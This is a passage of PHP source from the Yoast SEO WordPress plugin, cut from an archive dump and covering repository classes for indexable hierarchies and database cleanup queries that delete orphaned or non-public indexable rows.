	public function set_builder( Indexable_Hierarchy_Builder $builder ) {
		$this->builder = $builder;
	}

	/**
	 * Sets the indexable helper.
	 *
	 * @required
	 *
	 * @param Indexable_Helper $indexable_helper The indexable helper.
	 *
	 * @return void
	 */
	public function set_helper( Indexable_Helper $indexable_helper ) {
		$this->indexable_helper = $indexable_helper;
	}

	/**
	 * Removes all ancestors for an indexable.
	 *
	 * @param int $indexable_id The indexable id.
	 *
	 * @return bool Whether or not the indexables were successfully deleted.
	 */
	public function clear_ancestors( $indexable_id ) {
		return $this->query()->where( 'indexable_id', $indexable_id )->delete_many();
	}

	/**
	 * Adds an ancestor to an indexable.
	 *
	 * @param int $indexable_id The indexable id.
	 * @param int $ancestor_id  The ancestor id.
	 * @param int $depth        The depth.
	 *
	 * @return bool Whether or not the ancestor was added successfully.
	 */
	public function add_ancestor( $indexable_id, $ancestor_id, $depth ) {
		if ( ! $this->indexable_helper->should_index_indexables() ) {
			return false;
		}

		$hierarchy = $this->query()->create(
			[
				'indexable_id' => $indexable_id,
				'ancestor_id'  => $ancestor_id,
				'depth'        => $depth,
				'blog_id'      => \get_current_blog_id(),
			]
		);

		return $hierarchy->save();
	}

	/**
	 * Retrieves the ancestors. Create them when empty.
	 *
	 * @param Indexable $indexable The indexable to get the ancestors for.
	 *
	 * @return int[] The indexable id's of the ancestors in order of grandparent to child.
	 */
	public function find_ancestors( Indexable $indexable ) {
		$ancestors = $this->query()
			->select( 'ancestor_id' )
			->where( 'indexable_id', $indexable->id )
			->order_by_desc( 'depth' )
			->find_array();

		if ( ! empty( $ancestors ) ) {
			if ( \count( $ancestors ) === 1 && $ancestors[0]['ancestor_id'] === '0' ) {
				return [];
			}
			return \wp_list_pluck( $ancestors, 'ancestor_id' );
		}

		$indexable = $this->builder->build( $indexable );

		return \wp_list_pluck( $indexable->ancestors, 'id' );
	}

	/**
	 * Finds the children for a given indexable.
	 *
	 * @param Indexable $indexable The indexable to find the children for.
	 *
	 * @return array Array with indexable id's for the children.
	 */
	public function find_children( Indexable $indexable ) {
		$children = $this->query()
			->select( 'indexable_id' )
			->where( 'ancestor_id', $indexable->id )
			->find_array();

		if ( empty( $children ) ) {
			return [];
		}

		return \wp_list_pluck( $children, 'indexable_id' );
	}

	/**
	 * Starts a query for this repository.
	 *
	 * @return ORM
	 */
	public function query() {
		return Model::of_type( 'Indexable_Hierarchy' );
	}

	/**
	 * Finds all the children by given ancestor id's.
	 *
	 * @param array $object_ids List of id's to get the children for.
	 *
	 * @return array List of indexable id's for the children.
	 */
	public function find_children_by_ancestor_ids( array $object_ids ) {
		if ( empty( $object_ids ) ) {
			return [];
		}

		$children = $this->query()
			->select( 'indexable_id' )
			->where_in( 'ancestor_id', $object_ids )
			->find_array();

		if ( empty( $children ) ) {
			return [];
		}

		return \wp_list_pluck( $children, 'indexable_id' );
	}
}
repositories/indexable-cleanup-repository.php000066600000066314152204306270015620 0ustar00<?php

namespace Yoast\WP\SEO\Repositories;

use mysqli_result;
use Yoast\WP\Lib\Model;
use Yoast\WP\Lib\ORM;
use Yoast\WP\SEO\Helpers\Author_Archive_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;

/**
 * Repository containing all cleanup queries.
 */
class Indexable_Cleanup_Repository {

	/**
	 * A helper for taxonomies.
	 *
	 * @var Taxonomy_Helper
	 */
	private $taxonomy;

	/**
	 * A helper for post types.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type;

	/**
	 * A helper for author archives.
	 *
	 * @var Author_Archive_Helper
	 */
	private $author_archive;

	/**
	 * The constructor.
	 *
	 * @param Taxonomy_Helper       $taxonomy       A helper for taxonomies.
	 * @param Post_Type_Helper      $post_type      A helper for post types.
	 * @param Author_Archive_Helper $author_archive A helper for author archives.
	 */
	public function __construct( Taxonomy_Helper $taxonomy, Post_Type_Helper $post_type, Author_Archive_Helper $author_archive ) {
		$this->taxonomy       = $taxonomy;
		$this->post_type      = $post_type;
		$this->author_archive = $author_archive;
	}

	/**
	 * Starts a query for this repository.
	 *
	 * @return ORM
	 */
	public function query() {
		return Model::of_type( 'Indexable' );
	}

	/**
	 * Deletes rows from the indexable table depending on the object_type and object_sub_type.
	 *
	 * @param string $object_type     The object type to query.
	 * @param string $object_sub_type The object subtype to query.
	 * @param int    $limit           The limit we'll apply to the delete query.
	 *
	 * @return int|bool The number of rows that was deleted or false if the query failed.
	 */
	public function clean_indexables_with_object_type_and_object_sub_type( string $object_type, string $object_sub_type, int $limit ) {
		global $wpdb;

		$indexable_table = Model::get_table_name( 'Indexable' );

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
		$sql = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = %s AND object_sub_type = %s ORDER BY id LIMIT %d", $object_type, $object_sub_type, $limit );

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->query( $sql );
	}

	/**
	 * Counts amount of indexables by object type and object sub type.
	 *
	 * @param string $object_type     The object type to check.
	 * @param string $object_sub_type The object sub type to check.
	 *
	 * @return float|int
	 */
	public function count_indexables_with_object_type_and_object_sub_type( string $object_type, string $object_sub_type ) {
		return $this
			->query()
			->where( 'object_type', $object_type )
			->where( 'object_sub_type', $object_sub_type )
			->count();
	}

	/**
	 * Deletes rows from the indexable table depending on the post_status.
	 *
	 * @param string $post_status The post status to query.
	 * @param int    $limit       The limit we'll apply to the delete query.
	 *
	 * @return int|bool The number of rows that was deleted or false if the query failed.
	 */
	public function clean_indexables_with_post_status( $post_status, $limit ) {
		global $wpdb;

		$indexable_table = Model::get_table_name( 'Indexable' );

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
		$sql = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = 'post' AND post_status = %s ORDER BY id LIMIT %d", $post_status, $limit );

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->query( $sql );
	}

	/**
	 * Counts indexables with a certain post status.
	 *
	 * @param string $post_status The post status to count.
	 *
	 * @return float|int
	 */
	public function count_indexables_with_post_status( string $post_status ) {
		return $this
			->query()
			->where( 'object_type', 'post' )
			->where( 'post_status', $post_status )
			->count();
	}

	/**
	 * Cleans up any indexables that belong to post types that are not/no longer publicly viewable.
	 *
	 * @param int $limit The limit we'll apply to the queries.
	 *
	 * @return bool|int The number of deleted rows, false if the query fails.
	 */
	public function clean_indexables_for_non_publicly_viewable_post( $limit ) {
		global $wpdb;
		$indexable_table = Model::get_table_name( 'Indexable' );

		$included_post_types = $this->post_type->get_indexable_post_types();

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
		if ( empty( $included_post_types ) ) {
			$delete_query = $wpdb->prepare(
				"DELETE FROM $indexable_table
				WHERE object_type = 'post'
				AND object_sub_type IS NOT NULL
				LIMIT %d",
				$limit
			);
		}
		else {
			// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
			$delete_query = $wpdb->prepare(
				"DELETE FROM $indexable_table
				WHERE object_type = 'post'
				AND object_sub_type IS NOT NULL
				AND object_sub_type NOT IN ( " . \implode( ', ', \array_fill( 0, \count( $included_post_types ), '%s' ) ) . ' )
				LIMIT %d',
				\array_merge( $included_post_types, [ $limit ] )
			);
		}
		// phpcs:enable

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
		return $wpdb->query( $delete_query );
		// phpcs:enable
	}

	/**
	 * Counts all indexables for non public post types.
	 *
	 * @return float|int
	 */
	public function count_indexables_for_non_publicly_viewable_post() {
		$included_post_types = $this->post_type->get_indexable_post_types();

		if ( empty( $included_post_types ) ) {
			return $this
				->query()
				->where( 'object_type', 'post' )
				->where_not_equal( 'object_sub_type', 'null' )
				->count();
		}
		else {
			return $this
				->query()
				->where( 'object_type', 'post' )
				->where_not_equal( 'object_sub_type', 'null' )
				->where_not_in( 'object_sub_type', $included_post_types )
				->count();
		}
	}

	/**
	 * Cleans up any indexables that belong to taxonomies that are not/no longer publicly viewable.
	 *
	 * @param int $limit The limit we'll apply to the queries.
	 *
	 * @return bool|int The number of deleted rows, false if the query fails.
	 */
	public function clean_indexables_for_non_publicly_viewable_taxonomies( $limit ) {
		global $wpdb;
		$indexable_table = Model::get_table_name( 'Indexable' );

		$included_taxonomies = $this->taxonomy->get_indexable_taxonomies();

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
		if ( empty( $included_taxonomies ) ) {
			$delete_query = $wpdb->prepare(
				"DELETE FROM $indexable_table
				WHERE object_type = 'term'
				AND object_sub_type IS NOT NULL
				LIMIT %d",
				$limit
			);
		}
		else {
			// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
			$delete_query = $wpdb->prepare(
				"DELETE FROM $indexable_table
				WHERE object_type = 'term'
				AND object_sub_type IS NOT NULL
				AND object_sub_type NOT IN ( " . \implode( ', ', \array_fill( 0, \count( $included_taxonomies ), '%s' ) ) . ' )
				LIMIT %d',
				\array_merge( $included_taxonomies, [ $limit ] )
			);
		}
		// phpcs:enable

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
		return $wpdb->query( $delete_query );
		// phpcs:enable
	}

	/**
	 * Cleans up any indexables that belong to post type archive page that are not/no longer publicly viewable.
	 *
	 * @param int $limit The limit we'll apply to the queries.
	 *
	 * @return bool|int The number of deleted rows, false if the query fails.
	 */
	public function clean_indexables_for_non_publicly_viewable_post_type_archive_pages( $limit ) {
		global $wpdb;
		$indexable_table = Model::get_table_name( 'Indexable' );

		$included_post_types = $this->post_type->get_indexable_post_archives();

		$post_archives = [];

		foreach ( $included_post_types as $post_type ) {
			$post_archives[] = $post_type->name;
		}
		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
		if ( empty( $post_archives ) ) {
			$delete_query = $wpdb->prepare(
				"DELETE FROM $indexable_table
				WHERE object_type = 'post-type-archive'
				AND object_sub_type IS NOT NULL
				LIMIT %d",
				$limit
			);
		}
		else {
			// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
			$delete_query = $wpdb->prepare(
				"DELETE FROM $indexable_table
				WHERE object_type = 'post-type-archive'
				AND object_sub_type IS NOT NULL
				AND object_sub_type NOT IN ( " . \implode( ', ', \array_fill( 0, \count( $post_archives ), '%s' ) ) . ' )
				LIMIT %d',
				\array_merge( $post_archives, [ $limit ] )
			);
		}
		// phpcs:enable

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
		return $wpdb->query( $delete_query );
		// phpcs:enable
	}

	/**
	 * Counts indexables for non publicly viewable taxonomies.
	 *
	 * @return float|int
	 */
	public function count_indexables_for_non_publicly_viewable_taxonomies() {
		$included_taxonomies = $this->taxonomy->get_indexable_taxonomies();
		if ( empty( $included_taxonomies ) ) {
			return $this
				->query()
				->where( 'object_type', 'term' )
				->where_not_equal( 'object_sub_type', 'null' )
				->count();
		}
		else {
			return $this
				->query()
				->where( 'object_type', 'term' )
				->where_not_equal( 'object_sub_type', 'null' )
				->where_not_in( 'object_sub_type', $included_taxonomies )
				->count();
		}
	}

	/**
	 * Counts indexables for non publicly viewable taxonomies.
	 *
	 * @return float|int
	 */
	public function count_indexables_for_non_publicly_post_type_archive_pages() {
		$included_post_types = $this->post_type->get_indexable_post_archives();

		$post_archives = [];

		foreach ( $included_post_types as $post_type ) {
			$post_archives[] = $post_type->name;
		}
		if ( empty( $post_archives ) ) {
			return $this
				->query()
				->where( 'object_type', 'post-type-archive' )
				->where_not_equal( 'object_sub_type', 'null' )
				->count();
		}

		return $this
			->query()
			->where( 'object_type', 'post-type-archive' )
			->where_not_equal( 'object_sub_type', 'null' )
			->where_not_in( 'object_sub_type', $post_archives )
			->count();
	}

	/**
	 * Cleans up any user indexables when the author archives have been disabled.
	 *
	 * @param int $limit The limit we'll apply to the queries.
	 *
	 * @return bool|int The number of deleted rows, false if the query fails.
	 */
	public function clean_indexables_for_authors_archive_disabled( $limit ) {
		global $wpdb;

		if ( ! $this->author_archive->are_disabled() ) {
			return 0;
		}

		$indexable_table = Model::get_table_name( 'Indexable' );

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
		$delete_query = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = 'user' LIMIT %d", $limit );
		// phpcs:enable

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
		return $wpdb->query( $delete_query );
		// phpcs:enable
	}

	/**
	 * Counts the amount of author archive indexables if they are not disabled.
	 *
	 * @return float|int
	 */
	public function count_indexables_for_authors_archive_disabled() {
		if ( ! $this->author_archive->are_disabled() ) {
			return 0;
		}

		return $this
			->query()
			->where( 'object_type', 'user' )
			->count();
	}

	/**
	 * Cleans up any indexables that belong to users that have their author archives disabled.
	 *
	 * @param int $limit The limit we'll apply to the queries.
	 *
	 * @return bool|int The number of deleted rows, false if the query fails.
	 */
	public function clean_indexables_for_authors_without_archive( $limit ) {
		global $wpdb;

		$indexable_table           = Model::get_table_name( 'Indexable' );
		$author_archive_post_types = $this->author_archive->get_author_archive_post_types();
		$viewable_post_stati       = \array_filter( \get_post_stati(), 'is_post_status_viewable' );

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
		// phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
		$delete_query = $wpdb->prepare(
			"DELETE FROM $indexable_table
				WHERE object_type = 'user'
				AND object_id NOT IN (
					SELECT DISTINCT post_author
					FROM $wpdb->posts
					WHERE post_type IN ( " . \implode( ', ', \array_fill( 0, \count( $author_archive_post_types ), '%s' ) ) . ' )
					AND post_status IN ( ' . \implode( ', ', \array_fill( 0, \count( $viewable_post_stati ), '%s' ) ) . ' )
				) LIMIT %d',
			\array_merge( $author_archive_post_types, $viewable_post_stati, [ $limit ] )
		);
		// phpcs:enable

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
		return $wpdb->query( $delete_query );
		// phpcs:enable
	}

	/**
	 * Counts total amount of indexables for authors without archives.
	 *
	 * @return bool|int|mysqli_result|resource|null
	 */
	public function count_indexables_for_authors_without_archive() {
		global $wpdb;

		$indexable_table           = Model::get_table_name( 'Indexable' );
		$author_archive_post_types = $this->author_archive->get_author_archive_post_types();
		$viewable_post_stati       = \array_filter( \get_post_stati(), 'is_post_status_viewable' );

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
		// phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
		$count_query = $wpdb->prepare(
			"SELECT count(*) FROM $indexable_table
				WHERE object_type = 'user'
				AND object_id NOT IN (
					SELECT DISTINCT post_author
					FROM $wpdb->posts
					WHERE post_type IN ( " . \implode( ', ', \array_fill( 0, \count( $author_archive_post_types ), '%s' ) ) . ' )
					AND post_status IN ( ' . \implode( ', ', \array_fill( 0, \count( $viewable_post_stati ), '%s' ) ) . ' )
				)',
			\array_merge( $author_archive_post_types, $viewable_post_stati )
		);
		// phpcs:enable

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
		return $wpdb->get_col( $count_query )[0];
		// phpcs:enable
	}

	/**
	 * Deletes rows from the indexable table where the source is no longer there.
	 *
	 * @param string $source_table      The source table which we need to check the indexables against.
	 * @param string $source_identifier The identifier which the indexables are matched to.
	 * @param string $object_type       The indexable object type.
	 * @param int    $limit             The limit we'll apply to the delete query.
	 *
	 * @return int|bool The number of rows that was deleted or false if the query failed.
	 */
	public function clean_indexables_for_object_type_and_source_table( $source_table, $source_identifier, $object_type, $limit ) {
		global $wpdb;

		$indexable_table = Model::get_table_name( 'Indexable' );
		$source_table    = $wpdb->prefix . $source_table;
		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
		$query = $wpdb->prepare(
			"
			SELECT indexable_table.object_id
			FROM {$indexable_table} indexable_table
			LEFT JOIN {$source_table} AS source_table
			ON indexable_table.object_id = source_table.{$source_identifier}
			WHERE source_table.{$source_identifier} IS NULL
			AND indexable_table.object_id IS NOT NULL
			AND indexable_table.object_type = '{$object_type}'
			LIMIT %d",
			$limit
		);
		// phpcs:enable

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		$orphans = $wpdb->get_col( $query );

		if ( empty( $orphans ) ) {
			return 0;
		}

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->query( "DELETE FROM $indexable_table WHERE object_type = '{$object_type}' AND object_id IN( " . \implode( ',', $orphans ) . ' )' );
	}

	/**
	 * Deletes rows from the indexable table where the source is no longer there.
	 *
	 * @param int $limit The limit we'll apply to the delete query.
	 *
	 * @return int|bool The number of rows that was deleted or false if the query failed.
	 */
	public function clean_indexables_for_orphaned_users( $limit ) {
		global $wpdb;

		$indexable_table = Model::get_table_name( 'Indexable' );
		$source_table    = $wpdb->users;
		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
		$query = $wpdb->prepare(
			"
			SELECT indexable_table.object_id
			FROM {$indexable_table} indexable_table
			LEFT JOIN {$source_table} AS source_table
			ON indexable_table.object_id = source_table.ID
			WHERE source_table.ID IS NULL
			AND indexable_table.object_id IS NOT NULL
			AND indexable_table.object_type = 'user'
			LIMIT %d",
			$limit
		);
		// phpcs:enable

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		$orphans = $wpdb->get_col( $query );

		if ( empty( $orphans ) ) {
			return 0;
		}

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->query( "DELETE FROM $indexable_table WHERE object_type = 'user' AND object_id IN( " . \implode( ',', $orphans ) . ' )' );
	}

	/**
	 * Counts indexables for given source table + source identifier + object type.
	 *
	 * @param string $source_table      The source table.
	 * @param string $source_identifier The source identifier.
	 * @param string $object_type       The object type.
	 *
	 * @return mixed
	 */
	public function count_indexables_for_object_type_and_source_table( string $source_table, string $source_identifier, string $object_type ) {
		global $wpdb;
		$indexable_table = Model::get_table_name( 'Indexable' );
		$source_table    = $wpdb->prefix . $source_table;
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->get_col(
			"
			SELECT count(*)
			FROM {$indexable_table} indexable_table
			LEFT JOIN {$source_table} AS source_table
			ON indexable_table.object_id = source_table.{$source_identifier}
			WHERE source_table.{$source_identifier} IS NULL
			AND indexable_table.object_id IS NOT NULL
			AND indexable_table.object_type = '{$object_type}'"
		)[0];
		// phpcs:enable
	}

	/**
	 * Counts indexables for orphaned users.
	 *
	 * @return mixed
	 */
	public function count_indexables_for_orphaned_users() {
		global $wpdb;
		$indexable_table = Model::get_table_name( 'Indexable' );
		$source_table    = $wpdb->users;
		//phpcs:disable WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->get_col(
			"
			SELECT count(*)
			FROM {$indexable_table} indexable_table
			LEFT JOIN {$source_table} AS source_table
			ON indexable_table.object_id = source_table.ID
			WHERE source_table.ID IS NULL
			AND indexable_table.object_id IS NOT NULL
			AND indexable_table.object_type = 'user'"
		)[0];
		// phpcs:enable
	}

	/**
	 * Cleans orphaned rows from a yoast table.
	 *
	 * @param string $table  The table to clean up.
	 * @param string $column The table column the cleanup will rely on.
	 * @param int    $limit  The limit we'll apply to the queries.
	 *
	 * @return int|bool The number of deleted rows, false if the query fails.
	 */
	public function cleanup_orphaned_from_table( $table, $column, $limit ) {
		global $wpdb;

		$table           = Model::get_table_name( $table );
		$indexable_table = Model::get_table_name( 'Indexable' );

		// Warning: If this query is changed, make sure to update the query in cleanup_orphaned_from_table in Premium as well.
		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
		$query = $wpdb->prepare(
			"
			SELECT table_to_clean.{$column}
			FROM {$table} table_to_clean
			LEFT JOIN {$indexable_table} AS indexable_table
			ON table_to_clean.{$column} = indexable_table.id
			WHERE indexable_table.id IS NULL
			AND table_to_clean.{$column} IS NOT NULL
			LIMIT %d",
			$limit
		);
		// phpcs:enable

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		$orphans = $wpdb->get_col( $query );

		if ( empty( $orphans ) ) {
			return 0;
		}

		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->query( "DELETE FROM $table WHERE {$column} IN( " . \implode( ',', $orphans ) . ' )' );
	}

	/**
	 * Counts orphaned rows from a yoast table.
	 *
	 * @param string $table  The table to clean up.
	 * @param string $column The table column the cleanup will rely on.
	 *
	 * @return int|bool The number of deleted rows, false if the query fails.
	 */
	public function count_orphaned_from_table( string $table, string $column ) {
		global $wpdb;

		$table           = Model::get_table_name( $table );
		$indexable_table = Model::get_table_name( 'Indexable' );

		// Warning: If this query is changed, make sure to update the query in cleanup_orphaned_from_table in Premium as well.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->get_col(
			"
			SELECT count(*)
			FROM {$table} table_to_clean
			LEFT JOIN {$indexable_table} AS indexable_table
			ON table_to_clean.{$column} = indexable_table.id
			WHERE indexable_table.id IS NULL
			AND table_to_clean.{$column} IS NOT NULL"
		)[0];
		// phpcs:enable
	}

	/**
	 * Updates the author_id of indexables which author_id is not in the wp_users table with the id of the reassingned
	 * user.
	 *
	 * @param int $limit The limit we'll apply to the queries.
	 *
	 * @return int|bool The number of updated rows, false if query to get data fails.
	 */
	public function update_indexables_author_to_reassigned( $limit ) {
		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		$reassigned_authors_objs = $this->get_reassigned_authors( $limit );

		if ( $reassigned_authors_objs === false ) {
			return false;
		}

		return $this->update_indexable_authors( $reassigned_authors_objs, $limit );
	}

	/**
	 * Fetches pairs of old_id -> new_id indexed by old_id.
	 * By using the old_id (i.e. the id of the user that has been deleted) as key of the associative array, we can
	 * easily compose an array of unique pairs of old_id -> new_id.
	 *
	 * @param int $limit The limit we'll apply to the queries.
	 *
	 * @return int|bool The associative array with shape [ old_id => [ old_id, new_author ] ] or false if query to get
	 *                  data fails.
	 */
	private function get_reassigned_authors( $limit ) {
		global $wpdb;

		$indexable_table = Model::get_table_name( 'Indexable' );
		$posts_table     = $wpdb->posts;

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
		$query = $wpdb->prepare(
			"
			SELECT {$indexable_table}.author_id, {$posts_table}.post_author
			FROM {$indexable_table} JOIN {$posts_table} on {$indexable_table}.object_id = {$posts_table}.id
			WHERE object_type='post'
			AND {$indexable_table}.author_id <> {$posts_table}.post_author
			GROUP BY {$indexable_table}.author_id, {$posts_table}.post_author
			ORDER BY {$indexable_table}.author_id
			LIMIT %d",
			$limit
		);
		// phpcs:enable

		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
		return $wpdb->get_results( $query, \OBJECT_K );
	}

	/**
	 * Updates the indexable's author_id referring to a deleted author with the id of the reassigned user.
	 *
	 * @param array $reassigned_authors_objs The array of objects with shape [ old_id => [ old_id, new_id ] ].
	 * @param int   $limit                   The limit we'll apply to the queries.
	 *
	 * @return int|bool The associative array with shape [ old_id => [ old_id, new_author ] ] or false if query to get
	 *                  data fails.
	 */
	private function update_indexable_authors( $reassigned_authors_objs, $limit ) {
		global $wpdb;

		$indexable_table = Model::get_table_name( 'Indexable' );

		// This is a workaround for the fact that the array_column function does not work on objects in PHP 5.6.
		$reassigned_authors_array = \array_map(
			static function ( $obj ) {
				return (array) $obj;
			},
			$reassigned_authors_objs
		);

		$reassigned_authors = \array_combine( \array_column( $reassigned_authors_array, 'author_id' ), \array_column( $reassigned_authors_array, 'post_author' ) );

		foreach ( $reassigned_authors as $old_author_id => $new_author_id ) {
			// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
			$query = $wpdb->prepare(
				"
				UPDATE {$indexable_table}
				SET {$indexable_table}.author_id = {$new_author_id}
				WHERE {$indexable_table}.author_id = {$old_author_id}
				AND object_type='post'
				LIMIT %d",
				$limit
			);
			// phpcs:enable

			// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
			$wpdb->query( $query );
		}

		return \count( $reassigned_authors );
	}
}
repositories/indexable-repository.php000066600000042131152204306270014162 0ustar00<?php

namespace Yoast\WP\SEO\Repositories;

use Psr\Log\LoggerInterface;
use wpdb;
use Yoast\WP\Lib\Model;
use Yoast\WP\Lib\ORM;
use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Loggers\Logger;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Services\Indexables\Indexable_Version_Manager;

/**
 * Class Indexable_Repository.
 */
class Indexable_Repository {

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	private $builder;

	/**
	 * Represents the hierarchy repository.
	 *
	 * @var Indexable_Hierarchy_Repository
	 */
	protected $hierarchy_repository;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $current_page;

	/**
	 * The logger object.
	 *
	 * @var LoggerInterface
	 */
	protected $logger;

	/**
	 * The WordPress database.
	 *
	 * @var wpdb
	 */
	protected $wpdb;

	/**
	 * Represents the indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Checks if Indexables are up to date.
	 *
	 * @var Indexable_Version_Manager
	 */
	protected $version_manager;

	/**
	 * Returns the instance of this class constructed through the ORM Wrapper.
	 *
	 * @param Indexable_Builder              $builder              The indexable builder.
	 * @param Current_Page_Helper            $current_page         The current post helper.
	 * @param Logger                         $logger               The logger.
	 * @param Indexable_Hierarchy_Repository $hierarchy_repository The hierarchy repository.
